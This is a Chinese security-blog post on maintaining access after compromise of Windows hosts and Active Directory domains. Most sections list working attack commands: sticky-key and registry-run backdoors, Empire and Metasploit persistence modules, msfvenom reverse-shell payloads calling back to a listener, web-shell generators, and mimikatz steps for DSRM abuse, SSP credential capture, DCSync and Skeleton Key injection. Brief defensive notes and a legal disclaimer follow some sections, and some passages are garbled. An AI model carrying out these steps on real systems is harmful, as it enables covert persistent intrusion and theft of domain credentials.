权限维持小结

admin 2024年4月21日23:46:58评论5 views字数 7722阅读25分44秒阅读模式

扫码领资料

获网安教程

权限维持小结

权限维持小结

分享者才是学习中最大的受益者!

文章来源: https://forum.butian.net/share/524文章作者:略略略如有侵权请您联系我们,我们会进行删除并致歉

前言

当攻击者拿下一台机器的权限之后,往往会通过建立后门来维持对目标主机的控制权。这样一来,即使修复了被攻击者利用的系统漏洞,攻击者还是可以通过后门继续控制目标系统。不想努力白费,就做好权限维持.
对防守方而言,如果我们能够了解攻击者在系统中建立后门的方法和思路,就可以在发现系统被人侵后快速找到攻击者留下的后门并将其清除.

Empire

前言

Empire是基于Powershell脚本的攻击框架
主要实现对内网中提权、横向移动、权限维持
笔者发现这个工具权限维持很香

安装

http://github.com/EmpireProject/Empire
linux系统需要有python2.7环境
git clone https://github.com/EmpireProject/Empire.git
sudo ./Empire/setup/install.sh
sudo ./setup/reset.sh
sudo ./Empire/empire
推荐使用docker安装
docker pull empireproject/empire
docker run -it -p 7000:7000 --name empire empireproject/empire /bin/bash
sudo ./setup/reset.sh
sudo ./empire
注:初始运行可能缺少pefile这个包
pip install pefile
继续

操作系统后门

粘滞键后门

手上

安全模式下
  • 工作组的命令框
复制粘贴cmd.exe 然后就直接打开了
  • 域用户的命令框
把cmd复制一份改成粘滞键的名字
进入到登录页面 就可以创建域用户
进入系统
用可执行文件sethc.exe.bak替换windowssystdm32目录下的sethc.exe
cd windowssystem32
move sethc.exe sethc.exe.bak
copy cmd.exe sethc.exe
#连续按5次shift键,将弹出命令行窗口。可以直接以system权限执行系统命令

Empire

前提得是*用户,过UAC,system权限才行
usemodule lateral_movement/invoke_wmi_debugger
info
set Listener dayu
set ComputerName user1.xiyou.dayu.com (计算机名)
set TargetBinary sethc.exe
execute
执行完execute被攻击方电脑会一闪而过CMD终端窗口!
最后,在目标系统上连续按5次shift键触发后门:

粘滞键后门防范措施

1.在远程登录服务器时,连续按5次“"Shift”键,判断服务器是否被人侵。
2.拒绝使用setch.exe或者在“控制面板”中关闭“启用粘滞键”选项

注册表后门

手上

在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun
Run:该项下的键值即为开机启动项,每-次随着开机而启动
运行输入:regedit.exe

Empire

输入usemodule persistence/userland/registry命令模块
运行后,会在目标主机的启动项里增加一个命令
usemodule persistence/userland/registry
set Listener dayu
set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun
execute
当管理员登陆系统时,后门就会运行,反弹成功!
注销或者重启后,后门就自动运行了
进入桌面自动闪过cmd命令框
kali就上线了!

注册表后门防范措施

杀毒软件针对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示内容, 采取相应的措施,即可删除此类后门

计划任务后门

手上

计划任务在Windows7及之前版本的操作系统中使用at命令调用,在从Windows8版本开始的操作系 统中使用schtasks命令调用。
计划任务后门分为管理员权限普通用户权限两种。管理员权限的后门 可以设置更多的计划任务,例如重启后运行等。
计划任务后门的基本命令如下。该命令表示每小时执行一次notepad.exe
schtasks /Create /tn Updater /tr notepad.exe /sc MINUTE /mo 1
权限维持小结
删除话 这个命令就可以
schtasks /Delete /tn Updater

MSF

使用Powershell payload web delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。因 为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.253.9
set lport 443
set URIPATH /
exploit

Empire

设置DailyTime和Listener参数,到了设置的时间,将执行sec计划,将返回一个高权限的shell:
usemodule persistence/elevated/schtasks
set DailyTime 15:36
set Listener dayu
execute

计划任务后门防范措施

有效的防范措施是:
  • 安装安全防护软件并对系统进行扫描
  • 及时为系统打补丁
  • 在内网中使用强度较高的密码

MSF后门

  • 生成exe的马儿
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.9 LPORT=4444 -f exe>1.exe
  • 开启监听
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_ tcp; set lhost 192.168.253.27; set lport 4444; exploit -j;"
  • 执行后门上线
  • 查看帮助
run persistence -h
权限维持小结
  • 创建服务
run persistence -S -U -X -i 5 -p 443 -r IP
这里要注意的是
使用了-S 这个参数
需要(system)权限才能执行创建
不管关机 重启后都可以上线

wmi型后门

在 Empire 下使用Invoke-WMI 模块:
先进行搜索
searchmodule wmi
是有多个模块的
usemodule persistence/elevated/wmi
info
set DailyTime 16:10
set Listener dayu
run

检测后门

在powershell下
Get-WmiObject -Namespace rootSubscription -Class CommandLineEventConsumer -FILTER "Name='Updater'"
权限维持小结
这样就是没有的

清除WMI后门得到方法

删除自动运行列表中的恶意WMI条目
在powershell中用
get-wmiobject命令删除与WMI持久化的组件

web后门

weevely后门

功能

1.执行命令和测览远程文件
2.检测常见的服务器配置问题
3.创建 TCP Shell 和 Reverse Shell
4.打扫描端口
5.安装HTTP代理

使用

weevely <url> <password> [cmd] #连接一句话
weevely session <path> cmd #加载会话文件
weevely generate <password> <path> # 生成后门代理,一般用这个

webacco后门

  • 安装
apt install webacoo
  • 生成shell
webacoo -g -o 123.php
  • 连接后门
webacoo -t -u http://192.168.x.x/123.php

域控制器权限持久化

DSRM域后门

DSRM ( Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)
DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在 域环境创建初期,DSRM的密码需要在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutiI命令行工具。
在渗透测试中,可以使用DSRM账号对域环境进行持久化操作。
  • 如果域控制器的系统版本为Windows Server 2008,需要安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步。
  • 在 Windows Server 2008以后版本的系统中不需要安装此补丁。
  • 如果域控制器的系统版本为Windows Server 2003则不能使用该方法进行持久化操作
我们知道,每个域控制器都有本地管理员账号和密码(与城管理员账号和密码不同)DSRM账号可以 作为一个域控制器的本地管理品用户,通过网络连接城控制器,进而控制域控制器。
简单来讲 就是当初创建域的时候:键入目录还原的(DSRM)密码

修改DSRM密码

第一种

在域控制器上打开命令行环境
1. NTDSUTIL: 登录ntdsutil
2. set dsrm password #设置DSRM密码
3. reset password on server null #在当前域控服务器上恢复DSRM密码
4. <PASSWORD> # 修改后的密码
5. q # 退出密码设置模式
6. q # 退出NTDSUTIL模式
修改成功 用ipc登录尝试
这里是登录不上的 因为域控默认是禁用DSRM的

第二种

简单来讲 就是用krbtgt用户的NTLM hash覆盖administrator用户的NTLM hash
ntdsutil
set dsrm password
sync from domain account krbtgt
q
q
可以进行查看是否成功
lsadump::sam
lsadump::lsa /patch /name:krbtgt

DSRM的三种登录方式

  • 0:默认值,只有当城控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号。
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器。
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器。
如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2
powershell下执行
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlog
onbehavior" -value 2 -propertyType DWORD

使用DSRM账号通过网络远程登录域控制器

使用mimikatz进行哈希传递,在域成员机器的管理模式下打开mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:xxx /ntlm:xxx

使用Mimikatz的scysnc功能远程转储krbtgt的NTML Hash

哈希传递攻击完成后
弹出命令窗口 在该窗口下打开mimikatz
lsadump::dcsync /domain:xiyou.dayu.com /dc:dc /user:krbtgt

DSRM域后门防御措施

  • 定期检查注册表中用于控制DSRM登录方式的键值hklm:systemcurrentcontrolsetcontrollsa确认该键值为1,或者删除该键值
  • 定期修改城中所有城控制器的DSRM账号。
  • 经常检查ID为4794的日志。当试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

SSP维持域控权限

利用mimikatz 注入

使用mimikatz将伪造的SSP注入内存。这样做不会在系统中留下二进制文件
但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
在实际网络维护中,可以针对这一点采取相 应的防御措施。
在域控制器中以管理员权限打开mimikatz,分别输入如下命令:
privilege::debug
misc::memssp
注销一下
密码存储在日志文件 C:WindowsSystem32mimilsa.log 中

利用mimikatz下的mimicom.idl文件(现在被查杀)

将它复制到System32文件目录下
并将 mimilib添加到注册表中就可以了修改
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages项,加载新的DLL文件!
就是powershell下的两条命令
reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberos0msv1_00schannel0wdigest0tspkg0pku2u0mimilib" /t REG_MULTI_SZ
覆盖掉就可以了
重启一下
系统重启后,如果DLL被成功加载,用户在登录时输入的账户密码明文就会被记录在 C:windowssystem32kiwissp.log 中

防御措施

SSP维持域控制器权限的防御措施
1.检查 HKEY LOCAL MCNSSrCnContooCotroro sScrt Packages 项中是否含有可疑的 DLL 文件。
2.检查C:WindowsSystem32目录下是否有可疑的DLL文件。
3.使用第三方工具检查LSA中是否有可疑的DLL文件。

SID History后门

就是黄金和白银票据
操作就不再阐述了,写一写底层

黄金票据

原理

在Kerberos认证中,当客户端通过AS认证后,AS会给客户端一个TGT,kbrtgt的NTLM hash的又是固定的 因此可以得到krbtgt用户的NTLM hash,就可以伪造TGT进行下一步客户端与TGS的交互
而且有了金票后 就跳过了AS验证,不用验证账号和密码,因此不用担心域管理员修改密码

特点

不需要与AS进行交互

需要krbtgt用户的NTLM hash

条件

1.域名称
2.域的SID值
3.域的KRBTGT账户的NTLM-Hash
4.伪造任意用户名

白银票据

原理

在Kerberos认证中,Client带着TGS票据向Server上的某个服务发起请求后
Server接受到Client请求后,通过自己的NTLM hash进行解密,如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
所以我们只需要知道Server用户的Hash就可以伪造出一个TGS票据,且不会经过KDC,但是伪造的门票只对部分服务起作用

特点

1.不需要与KDC进行交互
2.需要server的NTLM hash

金票和银票的区别

权限维持小结

服务列表

权限维持小结

白银票据默认组

权限维持小结

SID History后门优势

SID History域后门的防御措施
1.可以通过注入SID History属性完成持久化任务。
2.拥有高权限SID的用户,可以使用PowerShell远程导出域控制器的ntds.dit。
3.如果不再需要通过SID History属性实现持久化,可以使用sid::clear /sam:username清除SID Hi story的属性。

SID History后门防范措施

  • 经常查看域用户中SID为500的用户。
  • 完成域迁移工作后,对有相同SID History属性的用户进定期3.定期检查ID为4765和4766的日志。4765 为将SID Histtory属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志。

Skeleton Key

手工

就是万能密码
在域控制器中管理员权限打开mimikatz,将Skeleton Key注入域控中的Isass.exe进程
privilege::debug
misc::skeleton
注入成功后,会在域内所有的账号中添加一个Skeleton Key,默认密码为mimikatz。
接下来可以 在域内任意用户的身份,配合该SkeletonKey,进行域内身份验证授权了
使用计算机全名是可以登录的
net use \xiyou.xiyou.dayu.comipc$ "mimikatz" /user:xiyou.dayu.comadministrator

Empire

interact KFSV7YB1 # 进入agent
usemodule persistence/misc/skeleton_key
execute
将skeleton_key注入后,empire提示可以通过mimikatz进入系统

Skeleton Key防范措施

2014年,微软在Window s操作系统中增加了 LSA保护策略,以防止Isass.cx e进程被恶意注入。从而防止mimikatz在非允作的情况下提升到debug权限。
通用的Skeleton Key的防御措施列举如下:
1.域管理员用户要设置强口令,确保恶意代码不会在城控制器中执行。
2.在所有城用户中启用双因子认证,例如智能卡认证。
3.启动(例如应用程序白名单例如AppLocker以限制mimikatz在域控制器中的运行。
4.在日常网络维护中注意以下方面,也可以有效防范Skeleton Key
5.只能在64位操作系统中使用,包括WinwnSren2012、Winds Sener 2012、Windows Sever 200 Wind ows Sever 2008 R2、 WindowServer 2003 R2、 Windows Server 2003
6.只有具有城管理员权限的用户可以将SleloKe。注人城控制器的lass cxe进程。
7.Seleton Key被注人后,用户使用现有的密码仍然可以登录系统。
8.因为Seleton Key是被注入lsass.exeex e进程的,所以它只存在于内存中。如果域控制器重启,注人的Skeleton Key将会失效

总结

权限维持很重要!
我们进去的每一个点,都很不容易.
每当我们多一台受控机器,就可能会多一个攻击维度!

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前言漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,只需25,即可加入,如不满意,72 小时内可在 App 内无条件自助退款。

权限维持小结权限维持小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月21日23:46:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限维持小结http://cn-sec.com/archives/2677546.html

发表评论

匿名网友 填写信息